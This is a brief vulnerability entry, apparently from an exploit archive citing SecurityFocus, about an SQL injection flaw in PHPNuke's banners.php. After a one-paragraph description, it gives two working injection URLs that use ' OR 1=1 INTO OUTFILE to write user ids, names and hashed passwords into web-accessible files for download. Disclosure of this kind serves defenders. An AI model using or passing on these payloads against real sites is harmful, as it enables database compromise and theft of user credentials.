source: http://www.securityfocus.com/bid/7170/info

It has been reported that an input validation error exists in the banners.php file included with PHPNuke. Because of this, an attacker could send a malicious string through PHPNuke that would allow the attacker to manipulate the database, and potentially access sensitive information, then download it via the web.

This will save id, name and crypted password into
http://www.example.com/banners1.txt :
http://www.example.com/banners.php?op=Ok&login='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners1.txt

This will save crypted password into http://[target]/banners2.txt :
http://www.example.com/banners.php?op=Change&cid='%20OR%201=1%20INTO%20OUTFILE%20'[path/to/site]/banners2.txt